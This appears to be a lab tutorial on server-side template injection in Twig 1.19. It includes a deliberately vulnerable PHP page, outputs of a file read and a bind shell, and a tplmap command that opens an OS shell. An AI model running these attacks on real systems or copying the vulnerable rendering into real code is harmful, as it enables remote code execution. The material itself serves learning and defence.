Server Side Template Injection attacks take advantage of incorrect parsing of user-entered variables to execute code on the server side using templating directives.
As a PoC, we will execute vulnerable php code on an outdated version of Twig, specifically Twig1.9.
To perform our tests, we will install an old version of Twig since modern versions of Twig have the bug fixed. It should be noted that Twig must be used directly. If we do it through Symfony, we will not be able to exploit the bug despite having a vulnerable version of Twig:
composer require "twig/twig:1.19"
We program a small web page that returns the value of the $name variable obtained by GET:
<?php
require_once '/var/www/testSSTI/vendor/autoload.php';
Twig_Autoloader::register();
$loader = new Twig_Loader_String();
$twig = new Twig_Environment($loader);
$name=$_GETname;
$result= $twig->render($name);
echo "Hello $result";
The vhost configuration will be very simple:
<VirtualHost *:80>
ServerAdmin sys@alfaexploit.com
DocumentRoot /var/www/testSSTI/
ServerName www.testssti.com
ErrorLog /var/log/apache2/testssti.error_log
CustomLog /var/log/apache2/testssti.access_log combined
DirectoryIndex index.php index.htm index.html
AddHandler application/x-httpd-php .php .php5 .phtml
AddHandler application/x-httpd-php-source .phps
<FilesMatch ".php$">
SetHandler "proxy:unix:///var/run/php7.2-fpm.sock|fcgi://localhost/"
</FilesMatch>
<Directory "/var/www/testSSTI/">
Options -Indexes +FollowSymLinks
AllowOverride All
Require all granted
</Directory>
</VirtualHost>
We test to verify that the code works correctly:
Hello kr0m
Now we test with a templating directive such as {8*2}:
Hello 16
It worked, let’s try something more complex like defining a callback filter in Twig:
Hello cowrie:x:1004:1004::/home/cowrie:/bin/bash
Great, now let’s set up a listening socket that offers us a shell:
Connect to the socket:
uid=81(apache) gid=81(apache) groups=81(apache)
composer.json
composer.lock
index.php
vendor
Remote shell obtained with the apache user ;)
There is a tool called tplmap that will make our job easier:
./tplmap.py --os-shell -u "http://www.testssti.com/?name=kr0m"
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin is testing blind injection
[+] Twig plugin is testing rendering with tag '{{*}}'
[+] Twig plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
GET parameter: name
Engine: Twig
Injection: {{*}}
Context: text
OS: Linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, php code
[+] Run commands on the operating system.
uid=81(apache) gid=81(apache) groups=81(apache)
vendor
Here are the links when the bug was fixed and the CVE in question:
https://symfony.com/blog/security-release-twig-1-20-0
https://www.cvedetails.com/cve/CVE-2015-7809/